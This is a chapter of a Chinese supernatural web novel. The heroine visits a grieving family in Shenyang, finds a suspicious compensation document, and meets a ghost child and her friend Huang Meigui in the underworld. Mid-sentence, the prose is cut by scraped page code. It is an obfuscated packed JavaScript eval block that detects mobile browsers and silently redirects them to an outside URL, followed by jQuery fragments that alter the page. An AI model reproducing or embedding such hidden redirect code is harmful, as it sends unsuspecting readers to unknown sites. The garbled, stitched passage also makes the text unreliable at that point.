17.再去沈阳

作品:《筑梦侦缉录

    唐施诗刚要去摸那条骨头,却被喊住。回头一看,飞飞正一瘸一拐地走下楼梯。


    “小唐姐姐,不好意思吓到你了。”飞飞拄着拐有一点艰难,她从楼梯上下来,大口喘着气。


    唐施诗尴尬的笑到,“没事,是我太随意了,就是想摸一下。”


    飞飞边走边笑,说,“师傅平时很爱惜这个东西,我才喊了一句,怕不小心摔了。”


    “这玩意儿是啥?那么宝贝?”唐施诗来了兴趣。


    飞飞走到她跟前,唐施诗扶了她一把,“小唐姐姐,说实话我也问过,但师傅一直不说,只是不让我动。”


    “那干脆收起来得了,放着多危险。”


    “那倒不是。师傅说这个要放在鹰骨之间,以防丢了阴气,就不好了。”


    唐施诗一听“阴气”两个字,巴不得赶紧离远点,又问,“算了,晚上我睡哪儿?”


    “你不介意的话,跟我一起也行。我其实自己一个人睡,偶尔会害怕。”飞飞有点不好意思。


    “哈哈我不介意,平时出差我都跟女同事一个屋,走,洗漱休息,快累死了,这一天净给大老王跑腿儿了。”唐施诗说完,拉起飞飞就往楼上去。


    睡前,飞飞要例行做一番什么功课。唐施诗看她在那打坐忙乎,也没管她,自己呼呼睡了。俩人一宿相安无事。


    早晨,唐施诗起来就饿得眼冒金星,溜达了一会儿,见王大仙正坐在楼下餐厅里喝茶。她走下去,喊了一声,“大老王,有吃的吗?”


    王大仙伸手一指,那边餐台上摆了白粥,还有咸菜。


    “你可真是,啧啧啧,小气得要死。”唐施诗忍不住吐槽,狼吞虎咽地吃了一碗。


    临走前,王大仙说,“看你最近挺闲的,这车借给你开,有事随时来找我。”说完,扔给她车钥匙。


    “切。别以为我不知道你是在收买我。”唐施诗还记得昨天被他拿捏,恨自己没忍住答应了他去广厦司的事情,眼里露出狠狠凶光。


    “哈哈。”王大仙悠然自得,转头又倒了杯茶。


    回到家里,唐施诗盘算了一下,下周开始休假,要做的事情太多。


    她先是去了一趟沈阳。在陈星家里,唐施诗看见陈浩的照片已经变成了黑白色。


    “你哥人很好。”她也不知道该说些什么,毕竟是陈浩在见完她返程的路上出了事,幸亏他们家人都讲道理,没有完全怪罪到唐施诗身上。


    陈星眼睛又红了,“我哥从小就跟我不怎么亲,以前没觉得少个人怎么样,但人不在了,好像突然少了一块,哪里都不对劲了。”


    她拍拍陈星的肩,安慰到,“人死不能复生,只能往前看,不要为难自己。该想就想,该忘就忘,忘了也不是不在乎,是人之常情。”


    “嗯。”陈星点点头。


    “对了,上次你跟我说还在谈赔偿的事情,对方现在执行了吗?”唐施诗想起来,上次陈星跟她说过,他们家接受了法院调解,对方要赔偿陈浩家里几十万。


    “还没。对方一直拖着,我们也没办法,我爸妈又气又急,身体也不好了。”陈星一边说,一边拿出来调解书给她看。


    “什么!”唐施诗吃了一惊,喊出来。


    陈星被她这一声惊呼吓到了,慌忙问,“怎么了小唐姐?”


    当然有问题了。有大问题。唐施诗手里的调解书上白纸黑字写着,车辆所属单位,正是她这次要去找的那个公司,长春逸阳。


    “有点怪。”唐施诗嘀咕了一下,又怕陈星多想。她拿出手机拍了一张照片,又说,“没事没事,你们家在法院,有什么个人关系吗?”


    陈星眼神黯淡下去,唐施诗也猜到了。但凡有点关系,也不会被对方这么糊弄,一分钱医药费没出,连赔偿金也迟迟不给。话说回来,唐施诗也只是一个普通人,不认识什么达官显贵,更别提还是在离家千里之外的沈阳。


    “陈星,先别着急,我打听一下,看看有没有人能帮忙。”唐施诗多少有点圣母心,此刻又开始泛滥。


    “小唐姐,我已经很麻烦你了。别为我们家的事情操心,真的,我会过意不去的。”陈星拉着她的手,满是欠疚的语气。


    “没有,陈星。你先好好照顾爸妈,这事儿交给我。”唐施诗想,陈星一个小女孩还在上大学的年纪,遇上这种事家里都乱套了,她心里不知道有多难受。


    告别陈星,她去了黄玫瑰的墓地。她一直没敢告诉黄玫瑰,她爸四年前就不在了。上次来没见到她的亲戚,也不知道她爸的墓地在哪。她走到近处,看见黄玫瑰的墓前放了一束花。现在距离清明也过了半个多月了,那花已经干掉,耷拉在台阶上。唐施诗觉得纳闷,现在还会有什么人来看她吗?


    她拿出随身带的小铲子,还是在来的路上看见别人拿着,她也跟着买了一把。把黄玫瑰墓碑边上的杂草清理一番,出了点汗,她准备坐下来休息。


    远远的好像有个人往这边走,唐施诗起先没在意,以为是同样来扫墓的。等那人越走越近,她才看清楚,是门口的管理员。


    那个管理员看起来是个中年大叔,面色和善,很沉稳的样子。他走近来,先是打眼细瞧了一下唐施诗,又开口说,“抱歉,您是来看黄伊文女士吗?”


    “嗯,是啊。”唐施诗不知道对方什么来路,怎么莫名其妙问这么一句。


    对方显然愣了一下,又很快恢复了神色,说到,“那我得给你带个话。”


    “啥?!”唐施诗吓了一跳,在墓地里说要帮我带话,难道是黄玫瑰的同事么,糟了。她身上立刻起了一层鸡皮疙瘩,眼看着大晌午的太阳,忽然晕乎起来。


    “哎呀,看我说的,别害怕。”那人双手一拍大腿,赶紧退后两步,安慰到,“别怕,别怕,我不是那个意思。哎呀,是这么滴,我在这呢,看门儿十几年了,每年到清明都有个人来问我,有没有人给黄伊文扫墓。他叫我看见了告诉他一声,让来的人去找他。”


    “嗯?”唐施诗更加摸不着头脑了,这是,啥新套路的诈骗嘛。


    对方显然也没料到唐施诗是这个反应,以为她什么都不知道,只好咕哝着说,“哎呀,认错人了啊这是,人家都听不明白。”说完,那个管理员转身就要走。


    “哎!大哥你等等!”唐施诗忽然灵机一动,搞不好是黄玫瑰的亲戚,正好认了亲,再把黄玫瑰爸爸的事情也问问,到时候万一她问起来,也别穿帮。


    那管理员站住,又回头,“咋啦妹子,你记起来啦。”


    “对对,你先回,等我烧完纸,我去找你。”


    “咱这可不兴烧纸啊,太危险了,这都禁明火的,违反规定。”管理员听她说要烧纸,又停下来,非要看着她弄完再走。


    “哎呀行吧,我不烧我不烧,跟你走。”唐施诗只好放弃,拎起准备好的十几斤纸钱跟他走了。


    到了门口小亭子那,管理员掏出一张日历,上面留了一个手机号,他递给唐施诗,“就是这个。他说,要是有人来看黄伊文,就打这个电话找他。”


    “嗯好。”唐施诗接过那张纸,又道了谢。虽然不知道对方葫芦里卖的什么药,她决定试试总没错。


    出了墓园,唐施诗觉得手里的袋子越来越重,她笑着自说自话,“合着你这是知道了,非得让我烧给你才能走呗。”


    黄玫瑰真是个财迷,她自叹不如,赶紧找了一个路口,学着妈妈给弟弟烧纸的样子,拿树枝画了个圈,又冲着黄玫瑰墓碑的方向指了几次,把纸钱点着了。


    “这下可以买新衣服了,小黄女士。”唐施诗看着火烧尽,这才心满意足的走了。


    在回市里的车上,唐施诗拨通了那个电话。


    “喂?”对方的口音像是个中年男人,粗糙浑厚。


    唐施诗不知道怎么开口,犹豫了几秒,怕对方挂断,只好应到,“你好,我是从东山公墓管理员那......”


    对方突然挂了电话。唐施诗还没说完,就听见“嘟——嘟——嘟”的忙音。


    “搞什么鬼!”她有点生气,开始觉得这是个恶作剧。没想到还没放下手机,就收到一条短信。


    “现在不方便,晚点找你。”


    我去!唐施诗心里一紧,这是有事啊。她开始胡思乱想起来。上午知道了陈浩的死因和长春逸阳公司有关系之后,她心情就越发沉重,不知道自己该不该继续下去。但她转头又安慰自己,都什么年代了,哪有那么夸张,自己一定是想多了,还搁这阴谋论呢。


    回到酒店,唐施诗也没心思吃饭,索性想着早点睡,先去找黄玫瑰聊聊。


    轻车熟路,这次她去了筑梦楼没敢再直接进去,而是在外面等,生怕又遇见小青山戏耍她。


    没多久,她突然感觉到脖子上有水滴,冰冰凉的,啪嗒,啪嗒,一连落下来好几滴。


    一抬头,她差点吓个半死,是个小孩正悬在她头顶上方,两只黑漆漆的大眼睛正瞪着她。


    “什么鬼东西!”她赶紧跳到一边,死死盯着那个小孩。他看上去只有2-3岁,穿了浅蓝色的婴儿连体衣,脸色苍白,头上顶着细细软软的黄发,正对着唐施诗张开嘴,露出黑紫色的牙齿,感觉下一秒,那嘴里就要蹦出来什么东西。


    唐施诗赶紧喊到,“啊,这个,那个,宝贝,你乖哦。那个,那个,有话好好说,咱们素不相识,多有打扰,你......”


    她还没说完,那小孩嘴巴里已经伸出数条细长的宛如章鱼触角般的东西,直直地冲着唐施诗面上就来。她伸手一挡,立刻被触角缠上,胳膊一阵热辣辣的痛。


    “什么鬼东西!太过分了!”她使劲一拽,那小孩吃痛了一下,触角缩了几只回去。她刚松一口气,再回神看时,蓝衣小孩突然一个翻身窜过来,伸手就要抓她。


    “萌萌!快住手!”突然一阵熟悉的女声传来,唐施诗大喜,救星来了。


    只见黄玫瑰一个闪现到了唐施诗身前,甩出几条黄丝带系住了小孩的身子。蓝衣小孩动弹不了,发出低吼,显然十分生气。他身上突然分泌出大量的透明液体,黄色的丝带突然都化作焦黑的碎片,一片片飘落在石板上。


    唐施诗都看懵了,你大爷的这难道是硫酸嘛。什么妖怪,硫酸宝贝啊这。


    黄玫瑰愣了一下,立刻一个闪身,顺手把唐施诗甩出去几米,险些被液体溅到。她拔下头上的簪子往空中一划,那小孩立刻尖叫起来,声音非常刺耳。唐施诗有点受不了,赶紧捂住耳朵。


    过了一会儿,小孩终于安静下来。黄玫瑰收起簪子,走过去,把她倒拎起来。一边走,一边问,“老实了吧?”


    那小孩还是嗷嗷地喊着“不服、不服”,表示气愤。黄玫瑰没理他,直接给他甩到河里,又伸出一根丝带把他绑住,看起来像是在河里洗菜一样,甩了几下把蓝衣小孩提了上来。


    这一顿操作,把唐施诗看呆了。我天,还好我以前没有得罪黄玫瑰,她第一次见我真的是手下留情啊,不然我怎么死的都不知道。想到这,她才回过神,喊到,“黄玫瑰,你有钱了吗?”


    “嗯?”黄玫瑰一愣,不知道她在说什么,只是把那小孩拉起来,走到唐施诗面前,说到,“看一下,这是姐姐的朋友,唐施诗,以后你不能欺负她。”


    “哼!”那小孩把头一歪,整个身子扭过去,表示极度抗拒。


    唐施诗也不甘示弱,有了黄玫瑰撑腰那不是可以横着走,“切,什么破小孩,一点也不尊老爱幼,还会吐硫酸,真恶心。”


    那小孩见她这么说,又想发作,奈何被黄玫瑰制住也不敢动,只能口齿不清的喊,“你白痴,大白痴。”


    “哎呀好了好了!”黄玫瑰头疼欲裂,把这两个祖宗拉到一处僻静地方,安抚起来。


    “你不认得她,她是我们这最小的筑梦师,叫萌萌。”她一边说,一边摸摸蓝衣小孩的头,示意他唐施诗是个好人,不用担心。


    “我不懂,她不是鬼,也不是人,那是什么?”萌萌问到。


    唐施诗这才反应过来,自己穿了白斗篷,遮盖了活人气息,但确实又不是鬼的命格,因而这小孩也判断不了她到底算什么。


    “小破孩,我可是有娘家人在的,你下次别惹我,不然我叫黄玫瑰教训你。”


    “哼!你,菜鸡。”萌萌笑嘻嘻地说。


    “啥!”这可把唐施诗给气坏了,刚冷静下来,又被点着了,黄玫瑰一把给她摁住,吓唬到,“别喊,一会儿把阴兵招来,没有徐大哥不好办。”


    说到老徐,唐施诗情绪立刻低落。黄玫瑰看出来她心情不佳,转头跟萌萌说,“你先回去,别跟旁人说,尤其是小青山。”


    “哦。”萌萌乖乖去了,临走前还给唐施诗扮了个鬼脸,又吓了她一激灵。


    “黄玫瑰,我去找王大仙了。”唐施诗心不在焉,她胳膊上这会儿火烧火燎的疼,硬是忍着没说。


    黄玫瑰一边拿出黄丝带给她绑了一段,一边问,“找他干嘛?你不是要去找文新子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053780|162803||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嘛?”


    “我都知道了。”她抬头看着黄玫瑰,她的眼睛又大又亮,先前只觉得她好看,没曾认真看过。


    “知道什么?”


    唐施诗索性一躺,枕在黄玫瑰腿上,慢悠悠地说,“我跟老徐,上辈子是不是兄妹来着?”


    黄玫瑰的手停在半空,愣了一下。她还不知道唐施诗卡了bug偷偷知道了这个秘密,只觉得是大老王告诉她的。但是也奇怪,王长凌没事告诉她这个干嘛。该不会是......


    “王长凌是不是跟你说了广厦司的事?”黄玫瑰突然问。


    “你别打岔。”唐施诗有点诧异,她一直以为王大仙虽然跟筑梦司有来往,但不至于跟黄玫瑰相识。哪有阴阳人能自由出入地府,还跟各司的差使打成一片的。要真这样,估计他也离真正的下地府不远了。


    唐施诗又接着问,“我们难道真是兄妹,这可怎么算呢?”


    黄玫瑰只好沉默。她以前答应了徐怀卿,什么都不说,虽然他现在深陷广厦司,但黄玫瑰还抱着一线希望,希望有一天他能回来。


    “算了,我知道了。”唐施诗见她一直不说话,也明白什么意思。她躺在河边儿,身体逐渐冰冷起来,枕在黄玫瑰腿上的脑袋也渐渐沉重,不知道怎么就睡了过去。


    黄玫瑰盯着河水里偶尔飞出来的冷白色磷火,眼神恍惚。她知道,唐施诗一直没有告诉她,爸爸已经死了。就在刚来之前,她才接到金银司的小差送信,说她收到一大笔钱。黄玫瑰明白,已经好几年没有人给她送钱了,如果爸爸还在,肯定不会忘记。这人还真是奇怪,非亲非故地三番五次闯地府,又不远千里去老家给她烧纸钱,甚至还被王大仙拖下水,要骗她去广厦司,真不知道她是真傻还是另有所图。自己活着的时候不知道人有多险恶,反而死了以后却见识了太多了人心叵测、机关算尽。


    “罢了。人活着就是自私,死了反而好,心无挂碍,一了百了。”黄玫瑰悠悠地说。


    远远的,王大仙站在一处隐蔽的角落里,静静地看着她们。


    第二天一早,唐施诗冻醒了,她感觉自己头痛欲裂,昏昏沉沉。她心想该不会感冒了,爬起来烧了点热水喝了。拿起来手机一看,昨晚四个未接电话,是一个陌生号码。


    难道昨晚睡的太沉,没接到。她有点疑惑,又回拨过去,很快就接通了。


    “怎么昨晚不接电话?”对方一上来就很直白的责问。


    “哦不好意思,睡得有点死,没听见。请问你是......?”唐施诗被问懵了,还不知道怎么应付。


    “中午12点,南清真寺北边的巷子,老春小吃。”对方说完就挂了电话,惜字如金。


    唐施诗不满地咕哝,“啥啊,上来就整的跟接头似的,还清真寺,诶?不对。”


    南清真寺怎么那么耳熟?她极力回想,哎呀,南清真寺,不是黄玫瑰以前住的地方嘛,棉纺二厂家属楼。唐施诗的心脏开始“咚咚”地跳起来,该不会是跟黄林夕有关。


    再次来到老春小吃,当时那个跟她聊天的阿姨看上去憔悴了一些,没见大叔的影子。


    “阿姨,来一份素面。”唐施诗走进去,掀开后厨的门帘。现在是正午时间,大部分年轻人都去上班了,附近家属区只有零星的老人过来吃饭。


    阿姨从帘子后面露出头,看了她一眼,“好嘞,坐那吧。”


    很快就12点了,唐施诗一边吸溜面条,一边有点着急,那个人还没来。这时,阿姨得了闲,从后厨走出来,径直走到唐施诗桌前,一屁股坐了下来。


    “姑娘,你咋又来了?”原来她还记得。其实当时阿姨就觉得这个女孩子跟黄伊文是真像,连她都吓了一跳。一想那孩子没了也有二十年了,要不是老九以前时常过来吃饭聊天,怕是连阿姨也不记得她了。真可怜见的,她心想。


    唐施诗冷不丁被问,抬起头,她从阿姨眼睛里看到一丝莫名的同情,那个眼神让她有点不舒服。她对阿姨说,“哦您还记得我呢,我来看看黄伊文,这不是清明节忘记来了。”


    “哦哦,是这么说。伊文那孩子真是,哎呀,不说了不说了,你吃你吃。”她一边起身一边摇摇头,嘴里咕哝,“倒不如个外人有情义啊。”


    这时,小店门口突然暗了下来,有个五大三粗的壮汉堵在门口。唐施诗敏锐的感觉到一股特别的气息,是浓重的烟味,那种多年浸泡在香烟里的人才有的一股味道,她皱了皱眉。


    抬头一看,对方长了一张白净的脸,跟他五大三粗的身材很不相称,一点也不具备东北□□大哥那种古铜色的皮肤和凌乱的胡茬子散发的魅力。他穿了一条宽大的藏蓝色西装裤,露出脚脖子和灰色袜子,上衣是个褪了色的棕色皮夹克,里面套了一件白蓝色条纹衬衫,整个人看上去像是个菜市场管理员。唐施诗的直觉告诉她,就是这个人。她招了招手,问,“你是找我吗?”


    大汉走上前来,打量了她几眼,表情有点惊讶,开口就是浓重的东北腔,“你咋是个小丫头?”


    额。唐施诗心想,这是夸我还是损我,我已经30了,还小丫头,东北的朋友真是会说话。她有点尴尬,只能指着桌子上的面,问,“来一碗吗?还挺好吃。”


    他走过来,拉出一条凳子,坐下来就熟练地掏出打火机开始点烟。


    “哎!这里是公共场合,不能抽烟。”她话还没说完,对方已经嘬了一口,直直吐出来呛人的烟气。


    “也,也行吧。”她嘀咕了一下,随即又想直入主题,盯着大汉的袖口,那里有点油腻,好像是穿了挺久,“大叔,你找我干啥?你是不是认识黄玫瑰,哦不对,黄伊文。”


    对方不理她的话,而是凑上前来问,“你是谁?跟她什么关系?还没轮到你问我。”


    “你这个人。”唐施诗本想骂他一句,但看在体型差距过大,对方又看起来不是什么脾气好的主儿,她心想,只能智取啊这是。


    “算了,看你啥也不知道,不跟你说了。”大汉把烟一掐,捻在唐施诗面前的咸菜碗里,“嚯”的一下站起来,双手插兜,转身就要走。


    “哎!”唐施诗也连忙起身追上去,奈何对方走得极快,她也不敢伸手拦着。俩人到了店外,那个大汉就上了一辆破旧的白色桑塔纳,车盖上写着“police 警察”。


    唐施诗愣住了。


    大汉开门上车踩发动机,一气呵成,没有一丝犹豫。唐施诗还没反应过来,对方已经一骑绝尘,消失在巷子口。